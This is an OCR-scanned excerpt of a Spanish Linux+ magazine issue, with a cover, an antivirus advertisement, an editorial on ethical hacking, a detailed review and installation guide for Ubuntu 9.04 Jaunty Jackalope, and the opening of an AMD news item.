+DVD UBUNTU 9.04 JAUNTY JACKALOPE | BACKTRACK + iCONCURSO!

LINUX+

LA MAYOR REVISTA Eu SOBRE uwux'! “ PHEC[ 50 EUR N7 56 MENSURINGEN R CON TETIN DV D l

NUX+

LiNUX+DVD N

L

f"ff,HERRAMIENTA PERFECTA
%, /“PARA'ETHICAL HACKING

TECNICAS DE FINGERPRINTING

APLICACIONES BASICAS DE LA

| ACCESO A BASE DE DATOS SQLITE

(QUIENES FUERON LOS
PRIMEROS HACKERS?

w g g CREACION, VALIDACION
o A=< Y FILTROS CON MUUU

&’ :COMO PROTEGERNOS?

SOLO AQUI

iCONCURSO!

TOMA PARTE EN NUESTRO CONCURSO
Y GANA EL LIBRO HACKING ETHICO
POR CARLOS TORI

DISTRIBUCION BASADA EN SLAX
CON MAS DE 300 HERRAMIENTAS
DE SEGURIDAD VERSIOMNES 3.0
(ESTABLE) ¥ 4 BETA

Seguridod y Ethicol Hocking et s




protegemos su mundo digital @9T

L0 que realmente
Drotegemaos es su
privacidad

ESET Smart Security4

La proteccion mas rapida y ligera para
su ordenador

¢Alguna vez ha pensado que pasaria si toda la informacion personal almacenada
en su ordenador estuviera amenazada?

La cuarta generacion de ESET Smart Security proporciona una proteccion
avanzada a su ordenador usando la exclusiva tecnologia ThreatSense ©.
Disenado para neutralizar [as amenazas antes incluso de que puedan actuar,
nuestra solucion, mas rapida que nunca, incrementa su precision eliminando de
susistema incluso las mas sofisticadas amenazas.

Protege contra el malware
No da opcion a los hackers
Filtra el correo spam

o) O t e e t c/Martinez Valls 56,bajos - 46870 Ontinyent (Valencia)
\ n ln ventas@protegerse.com - Teléfono 902.33.48.33

CcOm http://www.eset.es




i

amodo de introduccion
¢ Un hacker ético?

¢ Un hacker ético?

@  Como puede ser ético el hecho de hackear un sistema? ;Por-
que no sirve para dafiar sino para ayudar a protegerlo? ;O por-
que esta hecho de una manera legal y alguien paga por ello?
Parece que si, que son razones suficientes. Ademas existe otro

término para denominar la accion de apropiarse de los datos ilegalmen-
te: crackear. Aunque el termino hacker muchas veces esta asociado con
el robo de los datos de los grandes sistemas y por lo tanto con el gran
peligro para cada institucion o empresa que posee datos confidenciales,
resulta que en nuestros tiempos puede servir para todo lo contrario.
Ser un hacker ya no significa ser un pirata de mala fama, puede signifi-
car ser un empleado respetable de una multinacional que se ocupa de
descubrir las vurnerabilidades de los sistemas informaticos y de esta
manera protegerlos.

Pero, ;siempre ha sido asi? ;Como naci6 hacking? He leido en al-
guna parte que fue una venganza de un grupo de empleados frustrados
pero, jes verdad esa anégdota? ;Quiénes fueron los primeros hackers?
(Cémo llegaron a serlos y por qué? En este nimero ademas de tratar los
temas practicos y tedricos relacionados con seguridad y hacking publi-
camos un articulo que habla sobre la historia de este fendmeno y sobre

Ser un hacker ya no significa ser un pirata de mala
fama, puede significar ser un empleado respetable
de una multinacional que se ocupa de descubrir
las vurnerabilidades de los sistemas informaticos
v de esta manera protegerics...

sus figuras mas destacadas. Creo que os enteraréis de muchas cosas
curiosas que posiblemente no esperabais.

Como el tema de Seguridad y Ethical Hacking fue elegido por
vosotros para el tema de este niimero, o por lo menos por algunos de
vosotros que han tomado parte en nuestro sondeo, nos hemos esforza-
do por recopilar materiales mas novedosos y practicos para ayudaros
a profundizar vuestros conocimientos en esta area durante los meses ca-
lurosos de verano. Esperamos que el tema os parezca lo suficientemente
fresco para animaros a la lectura. Para consegir eso os hemos preparado
un concurso en el que podéis ganar uno de los libros Ethical Hacking
por Carlos Tori, jos deseamos buena suerte!

Para cambiar un poco el tema os invitamos a leer el articulo sobre
Cinelerra y edicion de video, un tema que no hemos tratado desde hace
mucho tiempo y que seguramente resultara interesante a muchos de vo-
sotros. El autor ensefia de una manera simple y practica qué pasos hay
que seguir para aprender a aprovechar bien este software.

Y como estamos en verano ademas de una buena lectura os desea-
mos que descanséis bien durante vuestros dias libres de trabajo y que
os relajéis leyendo este nimero de Linux+. Y sobre tode que disfrutéis
de esta época del afio!

Nos vemos en septiembre...

Paulina Pyrowicz
Redactora Jefe de Linux+

www.lpmagazine.org 3
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bos en camara lenta. Es una tarea repetitiva y que consume tiempo;
en especial, a la hora de validar y filtrar los valores que ingresa el
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nueva clase, llamada Muuu, para generar, validar y filtrar formula-
rios de una forma facil. Si bien puede parecer como una reinvencion
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Ubuntu Jaunty Jackalope

a recientemente liberada version

9.4 marca un punto de inflexion en

la historia de Ubuntu; si sera el ini-

cio del camino que instalara a Ca-
nonical entre los grandes actores de la industria
informatica o del que la conduciré al cementerio
de las que se quedaron en el camino es algo que
empezaremos a dilucidar a partir de octubre con
la liberacion de la 9.10, como el animal mitolo-
gico que le da nombre (un conejo con cuernos de
ciervo) Jaunty Jackalope estd a mitad de camino
entre lo que nos tiene acostumbrados Ubuntu
y lo que el nuevo equipo de profesionales con-
tratados por Mark Shuttleworth nos tiene pla-
neado para el futuro.

Llevo utilizando Jaunty desde la tercera al-
pha, (antes del lanzamiento definitivo Canonical
liberd 6 versiones alpha, una beta y una candida-
ta) sin haber experimentado mayores problemas,
y la impresioén que tengo es que Canonical ha
logrado un sistema operativo estable y apto para
ser usado por personas sin mayor conocimiento
de informatica y que no quieren tener complica-
ciones a la hora de usar su ordenador.

Algunas personas se han quejado de la no
inclusion de las ultimas novedades en materia
de software, de hecho de las que se incluyeron
una de las mas importantes es opcional y pasara
desapercibida para el usuario que opte por el
instalador automatico; pero veremos mas ade-
lante que lejos de ser perjudicial esa decision
resultd acertada y de todas formas existen
maneras de tener nuestro sistema lo méas al dia
posible.

Parrafo aparte merece el tema del disefio;
con la posible excepcion de la madre de Mark
Shuttleworth, nadie describiria el aspecto grafi-
co de Ubuntu como bonito. Y es probable que la

buena sefiora tampoco lo haga dado que su hijo
ha hablado en multiples ocasiones de la necesi-
dad de mejorarlo. Algo se ha hecho en la barra
de progreso, en la pantalla de inicio de sesion
y en el fondo de escritorio por defecto; no es
demasiado pero podemos esperar el futuro con
optimismo.

Kernel 2.6.28

El kernel es la parte central de un sistema ope-
rativo, se encarga de gestionar los recursos de
hardware regulando la manera en que el resto
del software accede a los mismos. La version
que incluye Ubuntu, no es la mas actual ya que
la 2.6.29, recién estuvo disponible 3 semanas
antes de que la version final de Jaunty estuviera
lista para descarga. Sin embargo la 2.6.28 fue
liberada en diciembre por lo que tampoco pue-
de calificarse de pieza de museo. Son bastantes
las mejoras incorporadas, algunas de ellas
demasiado técnicas para ser mencionadas aqui;
pero de entre las que son comprensibles para el
usuario comun podemos mencionar:

Sistema de archivos EXT4

Hasta hace unos afios la mayoria de nosotros
navegaba por internet en lugares publicos, gra-
babamos los archivos que nos interesaban en la
cantidad de diskettes necesarios y lo pasabamos
a nuestro ordenador. Con la caida en los costos
de las conexiones de internet y el aumento de
las velocidades los diskettes terminaron en el
arcon de los recuerdos junto con los cassettes
de audio de 5 minutos que usabamos en la Com-
modore. Desde la comodidad de nuestra casa
y usando clientes p2p lo habitual es que des-
carguemos archivos de mas de un giga. Pero
Linux no se utiliza sélo en ambitos hogarefios;

Proyecto Editar Hemramientas Ayuda
Crear un proyecto nuevo:

Proyecto de sonido
fﬂ _]I Crear un CD de sonido tradicional

Proyecto de datos
I | Crear un CD/DVD de datos

. Proyecto de video
I.__I Crear un DVD de video o un SVCD

Copla de disco
b Crear copia 1:1 de un CD/DVD

| 1 Grabar una imagen
2% | Grabar una imagen existente de CD/DVD a un disco

Proyectos recientes:
No hay proyectos recientes

Figura 1. Brasero
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las corporaciones y organizaciones cientificas
trabajan con tamafios mas grandes que exceden
las posibilidades del anterior sistema EXT3. La
innovacion que incorpora EXT4 es la de mane-
jar conjuntos de bloques en lugar de bloques, es
decir que si es necesario crear un espacio de 1
giga en lugar de mapear 256000 bloques como
hacia EXT3 se crean 10 Extent (un Extent es un
conjunto de bloques).

Como la comprobacion de archivos se hace
sobre los sectores ocupados se reduce el tiempo
de la misma, podemos establecer una cantidad
ilimitada de subdirectorios y trabajar con volu-
menes y tamaio de ficheros que exceden larga-
mente la capacidad de todos los discos duros de
los lectores de esta revista sumados.

Nuevos drivers

*  Drivers para tarjetas de video de la familia
VIA UniChrome (Pro) (CLE266,PM800/
CN400,P4M800CE/P4M800Pro/CN700/
VN800,CX700/VX700,P4M890) y
familia Chrome9 (K8M890,CN896/
P4M900,VX800),

+ Agregado soporte para Intel 945GME
(usado en la netbook ASUS 901), chipset
RADEON RS740 IGP y RS400,

*  Drivers genéricos para discos ATA/ATAPI,

* Drivers para teléfonos voip controlados
por el chipset CM109.

Interconexion

El nuevo nucleo 2.6.28 soporta el protocolo Ul-
tra Wide Band (UWB), se trata de una conexion
punto a punto de baja potencia pero gran ancho
de banda que utiliza tecnologia de radio; es ideal
para su uso en interiores, permitiendo transmitir
480Mbps a 2 metros y 110Mbps a 10 metros.
En la actualidad permite la comunicacién de
los protocolos Wireless USB, WiMedia Link
Protocol (Ethernet/IP sobre UWB) y proxima-
mente Bluetooth y 1394. Se incluyen ademas
los drivers para el hardware necesario.

Manejo optimizado
de la memoria
2.6.28 incluye un nuevo algoritmo que discri-
mina el contenido de la memoria segiin forme
parte de un archivo guardado en disco, el que
no es parte de ningtin archivo y el que no puede
ser borrado de la ram; esto hace mas agil la uti-
lizacion del espacio de intercambio en sistemas
con mucha memoria.

Detengamonos un poco en el concepto de
espacio de intercambio o particion swap ya
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que nos encontraremos con ¢l al momento de
instalar Ubuntu.

Los sistemas operativos dividen a los pro-
gramas en procesos a los que se les asigna un
sector de la memoria ram, para aprovecharla
mejor algunos procesos que no se estan utili-
zando o que se utilizan poco se almacenan en
una parte del disco duro de la que son recupe-
rados cuando son necesarios enviando alli a los
que dejan de serlo. En equipos con mucha me-
moria el viejo sistema de revisar todos los pro-
cesos para ver cuales son candidatos a ir a la
particion de intercambio hace mas lento la eje-
cucion de los programas.

El escritorio

Con algunas variantes el escritorio por defecto
en Ubuntu 9.0.4 es Gnome 2.26, recordemos
que en los repositorios pueden encontrarse
otros escritorios y también optar por instalar el
gnome original; entre las novedades mas desta-
cadas encontramos:

* Grabacion de CDs y DVDs: Si bien el
tradicional creador de CD/DVD sigue
presente en el mend Accesorios, la op-
cion por defecto ahora es Brasero; este
soft nos brinda la posibilidad de crear
un disco de datos o de audio/video, gra-
bar imagenes, establecer proyectos mul-
tisesion... También se integra con otras
aplicaciones sumandole sus capacida-
des, por ejemplo podemos grabar una
imagen de CD desde el gestor de archi-
vadores o un disco de video desde el
reproductor Totem.

e Correo electronico: Evolution, la herra-
mienta que instala por defecto Ubuntu
para la gestion de e-mails, contactos, citas
y trabajo en grupo facilita la migracion
desde Windows; ahora se pueden impor-
tar directamente las carpetas personales
de Outlook incluyendo correos electroni-

cos, contactos, citas, tareas y entradas del
diario. Evolution se integra mejor con ser-
vidores Exchange.

Reproductor multimedia Totem: Mas adel-
ante nos vamos a extender en las caracte-
risticas de Totem, pero entre las que po-
demos destacar es la posibilidad de ver con-
tenido multimedia compartido a través del
protocolo DLNA/UPnP . Otra caracteristi-
ca muy util es la descarga automatica de
subtitulos.

Pantalla: La herramienta “Preferencias de
pantalla” hace mas facil la configuracion
de multiples monitores, permitiendo con-
figurarlos individualmente. En caso de que
una configuracion inadecuada provocara el
cuelgue del equipo se restaurara automati-
camente a una configuracion anterior.
Mensajeria instantdnea: Ubuntu instala por
defecto Pidgin, su opcion tradicional desde
que se llamaba Gaim; sin embargo los desa-
rrolladores de Gnome optaron por usar co-
mo cliente por defecto Empathy, dado que
es posible conseguirlo desde los reposito-
rios lo incluimos en esta lista de noveda-
des. Empathy, que usa el entorno de tra-
bajo de comunicaciones Telepathy, incluye
caracteristicas como la transferencia de ar-
chivos, siempre que Telepathy la soporte
(actualmente para Jabber y enlaces locales
XMPP), soporte de invitacion a salas de
chat, temas de sonido y notificaciones, ade-
mas de permitir usar VoIP a través de los co-
decs libres Theora y Speex sobre Jingle en
clientes que lo soporten. Empathy es una de
las aplicaciones optimizadas para el nuevo
sistema de notificaciones de Jaunty.
Navegacion web: El navegador tradicio-
nal en Ubuntu es Firefox, sin embargo si
no nos interesan sus multiples extensiones
y queremos uno rapido y liviano podemos
instalarnos Epiphany; como novedad en
esta version de Gnome trae una barra de
direcciones similar a la de Firefox 3.0.
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S s W & — Nuevo sistema de notificaciones
% Comnguesase Este desarrollo de Canonical que forma parte
T - de un proyecto mas ambicioso cuyo objetivo es
ehm ol el [ g o sy gt e s mejorar la usabilidad de entornos linux consiste
s F emeome [ o W e T — en un sistema de avisos que no interfieren con lo
e [= LEFE it que el usuario esté haciendo, ya que elimina los
el o= TR Todede botones de respuesta; a medida que el puntero
del raton se aproxima al mensaje de notificacion
su opacidad va disminuyendo, desapareciendo
totalmente al posarse sobre ella permitiendo al
usuario trabajar sin inconveniente en la porcion

de pantalla que esta debajo.
e Los otros miembros de la familia

Si bien desde el gestor de paquetes Synaptic
o desde consola usando Aptitude o Apt-get ins-
tall pueden instalarse cualquiera de los otros
escritorios disponibles para Linux, Canonical
libera otras dos versiones con escritorios dife-
rentes: Kubuntu (escritorio KDE) y Xubuntu
(XFCE), ademas de una version para equipos
ultraportatiles (Ubuntu Netbook Remix) y otra
para el ambito educativo EDUbuntu. Veamos
algunas de sus novedades especificas.

Kubuntu

De acuerdo a los comentarios que pude che-
quear en la semana posterior a la salida de
JAUNTY JACKALOPE esta fue la version
que tuvo mejor acogida lo cual es mucho decir
teniendo en cuenta que los fanaticos de KDE la
consideraban la cenicienta de la familia. Entre
lo que tiene para ofrecernos esta:

* KDE 4.2.2 con significativas mejoras en
KWIN, su espacio de trabajo y en PLAS-
MA su herramienta de entorno de escrito-
rio e interfaz de usuario.

e Actualizacion de las miniaplicaciones tra-
dicionales e incorporacion de otras nuevas.

e Nuevos efectos de escritorio.

* Posibilidad de utilizar el ment tradicional
de KDE.

* En configuracion del sistema se incluyen
las herramientas para manejo de paquetes
de software y configuracion de impresora.

¢ Quassel, nuevo cliente IRC de facil confi-
guracion instalado por defecto.

Mantenga limpho su sistema

Esbn SQICRCHN b Eyudh @ Dusc y slimena pegssbes
AF LATWARE S il i ik & REEELTE SRR Gy eiE
cambion de it que be porden benefii,

Pl meglarT Nambie
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Figura 3. Encargado de limpieza
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Figura 4. Particiones

*  AMAROK 2.0.2: este excelente repro-
ductor musical incluye integracion con
servicios en linea como Last.fm, LibriVox,
Jamendo y Magnatune.

*  Nueva miniaplicacion para manejo de redes.

* Nueva version del cliente para la red to-
rrent KTORRENT 3.2.

*  Nueva version del manejador de fotografias
DIGIKAM 0.10.0, que permite manejar
multiples albumes incluyendo almacenados
en dispositivos remotos, soporte para goe-
localizacion, soporte para el lenguaje XMP
(permite el registro de los diferentes pasos
en el procesamiento de una imagen), nueva
interfaz para captura desde camara, impor-
tantes mejoras en la interfaz de busqueda,
nuevas herramientas para la edicion de ima-
genes e integracion con 23 servicios web de
almacenamiento de fotografias.

¢ Interfaz de usuario, nueva version QT 4.5 ¢
integracion mediante QT CURVE de aplica-
ciones que usan GTK (como Firefox) al as-
pecto del resto de las aplicaciones KDE.

Xubuntu

Ademas del nuevo kernel Xubuntu incluye el
nuevo escritorio XFCE 4.6 que traec numerosas
mejoras 'y novedosas caracteristicas entre las
que podemos mencionar:

*  Nuevo administrador de configuracion, faci-
lita la realizacion de los ajustes en los
diferentes modulos.

*  Nueva version de XCONF: Desde el escrito-
rio los usuarios pueden modificar diferentes
partes del sistema admitiendo la utilizacion
de script.

e Nuevo ment que cumple parcialmente con
los estandares establecidos por FREEDESK-
TOP.ORG

«  GIGOLO: una nueva aplicacion para ac-
ceder a dispositivos remotos de almacena-
miento.

¢ Nuevo reloj configurable.

¢ Nuevo disefio grafico.

*« ABIWORD, el procesador de textos que
XUBUNTU instala por defecto (y que pa-

ra mi gusto personal es mucho mejor que
Openoffice word) permite abrir archivos
de Microsoft office 2007. Puede acceder
a documentos alojados en dispositivos re-
motos. Ademas pueden insertarse graficos
de la planilla de célculo GNUMERIC en
los documentos de texto.

Mis impresiones

Como dije antes vengo utilizando Jaunty desde
las primeras versiones de prueba y salvo un pe-
quefio disgusto con la impresora (rapidamente
solucionado) y la negativa del gestor de ac-
tualizaciones a arrancar automaticamente (que
acaba de solucionarse al momento de escribir
esto) no experimenté mayores inconvenientes,
de hecho funcionaron mejor que la version final
de Hardy Heron que por ser de soporte exten-
dido uno esperaba que fuera mas estable de lo
que realmente fue.

Mi primera (y agradable) sorpresa fue la no
necesidad de tener que hacer una instalacion en
el modo grafico seguro, soy usuario de una de las
tarjetas VIA soportadas por el nuevo kernel, to-
davia no puedo usar COMPIZ pero no pierdo las
esperanzas. Desde el live CD se nota un intento
de mejorar la parte grafica, tanto en la barra de
inicio como en el mapa en el cual se selecciona
el servidor horario, el fondo de escritorio en la
gama de los marrones tiene una elegancia sobria;
aunque digamos la verdad, no se necesitaba de-
masiado para mejorar la horrible cabeza de cabra
del wallpaper por defecto de Intrepid ibex.

La gran novedad en materia de software
viene por el lado de la edicion server (aunque
puede utilizarse en la version normal si el equi-
po es lo suficientemente potente) se trata de Eu-
calyptus, una tecnologia de codigo abierto para
implementar servicios de Cloud Computing.
Con respecto a los programas que utilizamos
el comun de los mortales el navegador por
defecto es Firefox 3.0 (con el que yo tengo
algunos problemas en paginas con mucho con-
tenido de flash y java pero otras personas entran
a esos mismos sitios con el mismo navegador
y la misma version de Ubuntu sin experimentar
inconvenientes). Por cierto para los ansiosos en
los repositorios se encuentra la preversion de
prueba de Firefox 3.5, que sera el sucesor del
popular navegador del zorrito (u 0so panda).

Como suite de oficina se incluye Ope-
noffice 3.0; imagino que se actualizard a la 3.1
cuando esta sea finalmente liberada, o si no ya
podran leer en el foro de esta revista o en al-
guno de los numerosos foros o blogs sobre
Ubuntu la manera de instalarlo. Yo estuve
utilizando la 3.1 RC en la también release can-
didate de Jaunty y funcionaba sin ningtn in-
conveniente.
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Con respecto a la decision de Gnome de
convertir a Brasero como su grabador de dis-
cos por defecto solo voy a decir dos palabras
jInstalen K3B!, no es que el otro sea malo
pero no tiene sentido utilizar un Volkswagen
escarabajo teniendo a nuestra disposicion un
Ferrari.

Como habran notado por el titulo de la
seccion, esta es la parte menos objetiva del
articulo ya que escribo desde mis preferencias
personales. Es en ese sentido que les digo que
a mi Evolution (el cliente de correo electronico
que Ubuntu instala por defecto) no me gusta,
como en mi época de Windows no me gustaba
Outlook; pero no puedo negar que es un buen
programa con interesantes prestaciones.

En materia de mensajeria instantanea, pue-
de que los usuarios de MSN se sientan mas co-
modos con AMSN o Emesene, ambos disponi-
bles en los repositorios; pero si utilizan varias
redes Pidgin, la opcion preinstalada es altamen-
te configurable con el agregado de los plugins
que pueden instalarse tanto desde el gestor de
paquetes como desde la pagina del proyecto.
En cambio Empathy, la aplicacion que la
fundacion Gnome recomienda para estos usos,
no me parece que esté¢ a la altura de las ex-
pectativas de los usuarios acostumbrados a las
alternativas de software privativo. Una gran
incognita (al menos para mi) es por qué los de-
sarrolladores siguen incluyendo el software de
comunicacion por voz Ekiga; supongo que
ellos sabran mejor que yo qué es lo que la gente
utiliza, pero todavia no pude encontrar a al-
guien que lo haga.

Tapado por la gran publicidad recibida por
el nuevo sistema de archivos EXT4 y el nuevo
sistema de notificaciones pasd desapercibido
la inclusion de una nueva aplicacion destinada
a eliminar los paquetes de software instalados
que no cumplen ninguna funcion; su utilizacién
debe ser cuidadosa, ya que marca para eliminar
paquetes instalados desde otras fuentes diferentes
alos repositorios. El reproductor de video y audio
por defecto es Totem; instalando los complemen-
tos disponibles desde el gestor de paquetes se
convierte en una opcién muy interesante, ya que
a través de ellos podremos:

»  Descargar contenidos de portales de video
como BBC y Youtube.

*  Descargar contenidos de audio libres de
Jamendo.

»  Utilizar un control remoto infrarrojo.

*  Descargar subtitulos automaticamente.

*  Crear discos de video.

El reproductor de audio predeterminado Rythm-
box agrega a la posibilidad de conseguir



contenidos del servicio LastFM (cuyos admini-
stradores parecen haber entendido la historia
de Robin Hood de una manera muy particular, ya
que optaron por cobrar su servicio a los usua-
rios de América Latina, Europa del Este, Africa
y Oceania para poder seguir brindandolo de
manera gratuita a EEUU, Gran Bretafia y Ale-
mania) dos opciones muy interesantes: Jamen-
do (el portal donde los misicos comparten su
musica de manera gratuita) y Magnatune
(que cobralas descargas pero permite escuchar
musica online sin pagar). Rythmbox también
es adecuado para suscribirse a servicios de
podcast, escuchar radios online y listas de
reproduccion.

El muy publicitado sistema de notificacio-
nes es realmente til, para darse cuenta de esto
solo tienen que compararlo con el utilizado por
el programa de descargas p2p Frostwire; un
ejemplo de lo que Canonical quiso evitar, ya
que es invasivo y requiere que el usuario deje
lo que esta haciendo para cerrarlo.

Poco més es lo que hay que decir, la mayor
parte de las herramientas incluidas por defecto
no liberaron versiones nuevas desde Intrepid.
Eso si, en Jaunty funcionan mas rapidamente
y con mas estabilidad .

Instalando Ubuntu

A los usuarios acostumbrados a Ubuntu o a cual-
quier otra distribucion linux con instalador gra-
fico no tenemos que darles demasiadas explica-
ciones sobre donde conseguir Ubuntu ni como
instalarlo. La Unica diferencia es la forma de
instalacion con el nuevo sistema de archivos
EXT#4 incorporado de manera opcional.

Este puede hacerse simplemente optando
por la opcion “Redimensionar particiones ma-
nualmente”, luego haciendo click en el boton
derecho en “Editar particiones” y en el menu
desplegable seleccionando sistema de ficheros
ext4 transaccional y el punto de montaje.

Es conveniente que los usuarios nuevos en
su primera instalacion no hagan experimentos
y utilicen en lo posible las opciones por defecto.
Asicomorecomendamos familiarizarse con ladis-
tro utilizdndola todo el tiempo que haga falta en la
modalidad live CD, a partir del momento en que
comience la instalacion lo mejor es que se limiten
a contestar los preguntas y a poner las manos de-
tras de la espalda hasta que termine la instalacion.
No es que vayan a chocar los planetas si siguen
jugando pero por favor cuando en el indicador de
progreso aparezca un boton con el rotulo omitir
iNo lo toquen!

descripcion de DVD | )

DVD

Tampoco se asusten si deciden seguir mi
consejo de no tocar nada y la pantalla se pone
negra, eso es el salvapantalla, un leve movimien-
to del raton y todo volverd a la normalidad.

Dénde conseguir Ubuntu

Si estdn leyendo esta revista es muy probable
que tengan a mano el DVD que la acompaia;
pero si son como yo que nunca lo encuentro
cuando lo necesito, encontraran los links de las
diferentes versiones en el apartado “En la red”.
En cdimage.ubuntu.com bajo el apartado ports
estdn las versiones para Mac con procesador
Powerpc, para Playstation3 y otras arquitecturas
menos difundidas. Existen dos formas de instala-
cion; la del CD normal que permite utilizarlo en
modalidad live y la version alternativa (alternate
CD), esta tltima incluye un asistente de instala-
cién con menos exigencia de memoria.

Una vez descargada la imagen correspon-
diente a nuestra arquitectura tenemos que grabar
la imagen al CD. Un punto importante a tener
en cuenta es que esa imagen no debe descom-
primirse ni tampoco grabarse como si fuera un
archivo normal de datos. En nuestro programa de
grabacion preferido tenemos que elegir la opcion
Grabar iso o Grabar imagen de CD.
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Una vez hecho esto con el disco en la lectora
reseteamos, y nos encontramos con el ment de
instalacion y una lista de idiomas, elegimos espa-
flol y presionamos enter. Con la tecla F3 podemos
elegir la distribucion del teclado, con F5 seleccio-
nar diversas opciones de asistencia para personas
con discapacidad (lector de pantalla, teclado para
personas con poca movilidad). En el caso de que
al iniciar el sistema operativo no tuviéramos
imagen, presionando F4 podemos optar por el
Modo grafico seguro. No confundir problemas
de visualizacion con la resolucion de pantalla; es-
ta se corrige desde el menu Sistema preferencias
pantalla. Una vez seleccionadas estas opciones
hagamos enter para seleccionar la opcion “Probar
Ubuntu sin alterar su equipo”.

Al cabo de unos minutos nos aparecera el es-
critorio de Ubuntu con dos iconos, y los ments.
Ya es posible navegar por internet, escribir tex-
tos, escuchar musica, mandar e-mails o chatear,
pero hay algunas restricciones. En la modali-
dad live solo se instala software libre; para ver
archivos en ciertos formatos es necesario instalar
componentes adicionales y eso es conveniente
hacerlo una vez que tiene el sistema operativo en
forma permanente en su disco duro, ya que en el
live CD una vez que se apague la computadora
se perdera cualquier cambio que haya hecho. Es
normal cierta lentitud en la ejecucion de los pro-
gramas, el ordenador solo esta trabajando con la
memoria y la unidad de CD, cuando Ubuntu esté
en el disco duro los tiempos seran mas cortos.

Comenzando la instalacion
Haciendo doble click en el icono Instalar se ini-
cia un asistente, que nos pedira primero el idio-
ma en que queremos instalar el sistema y nuestra
ubicacion geografica (esto ultimo para ajustar
el reloj).

Después de seleccionar el tipo del teclado
llega el momento de particionar el disco; si va-
mos a compartir espacio con otro sistema opera-
tivo, y no somos demasiados expertos, lo mejor
es optar por la opcion “Usar el mayor espacio
continuo libre”, en caso de que tengamos un
disco solo para Ubuntu la opcion conveniente es
“Utilizar todo el disco”. En la siguiente pantalla
nos pedird los datos para crear la cuenta de usua-
rio administrador y nos preguntara si queremos
que el sistema nos pida una contrasena al ingre-
sar o se inicie automaticamente.

Figura 5. Notificaciones

Luego de mostrarnos una pantalla resu-
miendo los datos ingresados da comienzo a la
instalacion. ;Les dije que durante la misma bajo
ningin punto de vista hay que clickear en el bo-
ton omitir? Puede que el tamafio asignado por
el instalador automatico a los diferentes siste-
mas operativos no nos parezca adecuado, redi-
mensionarlo en forma manual es muy facil.

En la pantalla “Preparar espacio en disco”
seleccionamos “Especificar especificaciones
manualmente”; nos mostrara un listado con
nuestras particiones, la que nos interesa aparece
identificada como sistema de archivos NTFS,
llevando el puntero hasta ella hacemos click
con el boton derecho en editar particion.

En la ventana que se nos abre reducimos la
particion al tamafio que necesitemos para win-
dows. Después de aceptar llevamos el puntero
a la linea que tiene la indicacion espacio libre
y hacemos click en “Crear nueva particion”, en
la ventana de tamafio reducimos el mismo en
1000, en la lista desplegable seleccionamos ““Sis-
tema de ficheros EXT4 transaccional”, tildamos
el cuadradito de formatear la particion y en punto
de montaje escribimos / (barra inclinada).

Repetimos el procedimiento para el espacio
que quedo libre sin tocar el tamafio y seleccio-
nando en la lista “Espacio de intercambio”.

Una vez terminado el proceso de instala-
cion sacamos el CD, reseteamos y estamos lis-
tos para iniciar Ubuntu, si tenemos otro sistema
operativo nos aparecera una lista para elegir
con cual empezar.

Post instalacion

Por cuestiones legales y filosoficas la instalacion
basica de Ubuntu no instala los codecs multi-
media ni los plugins para Java y Flash, esto se
soluciona yendo al menu Aplicaciones afladir
y quitar programas y seleccionando Todas las
aplicaciones disponibles, escribimos restricted
en la ventana del buscador y marcamos el recua-
drito “Extras restringidos de Ubuntu”, y luego en
el boton “Aplicar cambios™.

Palabras finales

Llevo utilizando Ubuntu desde Octubre de
2006, no puedo presumir de haber probado las
primeras versiones de Linux ni de haber tenido
que hacer con la consola nada mas complicado
que compilar algiin programa por pura curiosi-
dad de saber como se hacia.

Sin embargo tengo conocimientos del que
muchos gurtes del software libre carecen, he
fundado (y fundido) empresas, conozco las difi-
cultades de ensamblar componentes de diversos
origenes para construir algo que funcione, sé lo
dificil que es manejar las envidias, la vanidad,
el deseo de ser apreciado y otros sentimientos
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que surgen entre los seres humanos que traba-
jan juntos. Y sobre todo sé¢ lo complicado que
resulta imponer un producto nuevo cuando en
la mente de la gente hay un producto estable-
cido. En cinco afos, y con menos recursos
que otras distribuciones apoyadas por empre-
sas, Canonical logré convencer a gente que en
su vida habia utilizado nada mas que Windo-
ws de que Linux era una alternativa adecuada
para ellos; puede que otras distros sean igual
o mas facil de utilizar, pero no tuvieron el in-
terés o la capacidad de transmitirselo a la gente
comun.

Algunos periodistas especializados han di-
cho que esta version de Ubuntu no aporta nada
nuevo, en mi opinién ese es un punto de vista
muy estrecho. Hay vida més alld del propio
disco duro. Xubuntu y Kubuntu han experi-
mentado un salto cualitativo en su aspecto gra-
fico. El nuevo servicio de notificaciones no va
a pasar a la historia como la gran revolucion de
la industria informatica pero es un paso mas en
el camino de una interfaz de usuario amigable
para linux. Es cierto que hubo problemas con
algin hardware, pero el tiempo de espera para
tener la solucion es cada vez mas corto.

El mercado informatico estd a punto de
cambiar, la tendencia parece ser equipos mas
chicos en el lado del usuario y la concentracion
de cada vez mas servicios que ahora se ejecutan
localmente en la nube. Ubuntu esta apostando
fuerte a esto, En menos de un afio Ubuntu Net-
book Remix, la version para ordenadores ultra-
portatiles logré la misma aceptacion por parte
de los usuarios que Windows xp. En Amazon
EC2, uno de los proveedores mas importantes
de Cloud Computing esta disponible la opcion
de ejecutar Ubuntu en forma virtual y si los
desarrolladores de Eucalyptus deciden hacerle
caso a la encuesta que realizaron las proximas
versiones de este software seran desarrolladas
para este sistema operativo.

Puede que para seis meses de desarrollo lo
que se ve en Jaunty sea poco, pero para cinco
afios es mucho.

D

En la red

Por Diego German Gonzalez

*  www.ubuntu.com

*  http://cdimage.ubuntu.com/

»  http://foro-es.lpmagazine.org/
*  http://eucalyptus.cs.ucsb.edu/
*  www.gnome.org

*  http://www.kde.org/

*  http://www.xfce.org/

*  www.ubuntu-es.org



Si no puedes leer el disco DVD

y no notas ningun tipo de deterioro
mecanico, por favor, pruébalo en al menos
dos unidades de disco diferentes.
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Noticias seccion llevada por Alex Sandoval news@Ipmagazine.org

AMD celebra su 40 aniversario

AMD esta celebrando su 40 cumpleafios
en el mundo de los semiconductores,

y lo hace con un concurso en el que los
usuarios pueden mandar fotos y videos que
tengan como tema central el papel que los
productos de esta empresa han tenido

en la industria.

Como indica la propia empresa en el
anuncio oficial, “en los pasados 10 afios,
AMD se ha transformado de ser un
desarrollador de segundo nivel que ha
trabajado con los limites de los disefios

de otras empresas, a ser un innovador que
ha ayudado a impulsar el mercado hacia
delante y ha mantenido la competencia
viva y animada en uno de los sectores
tecnoldgicos mas importantes”.

Asi ha sido, desde luego: AMD es desde
hace afios un actor de referencia en el
mercado de los microprocesadores, sobre
todo desde que comenzaron a aparecer sus
primeros Athlon y cuando compro ATI para
oftrecer sus fantasticos productos también
en el mercado de los graficos. Hoy en dia
la presencia de AMD en este terreno es
indispensable ante gigantes como Intel

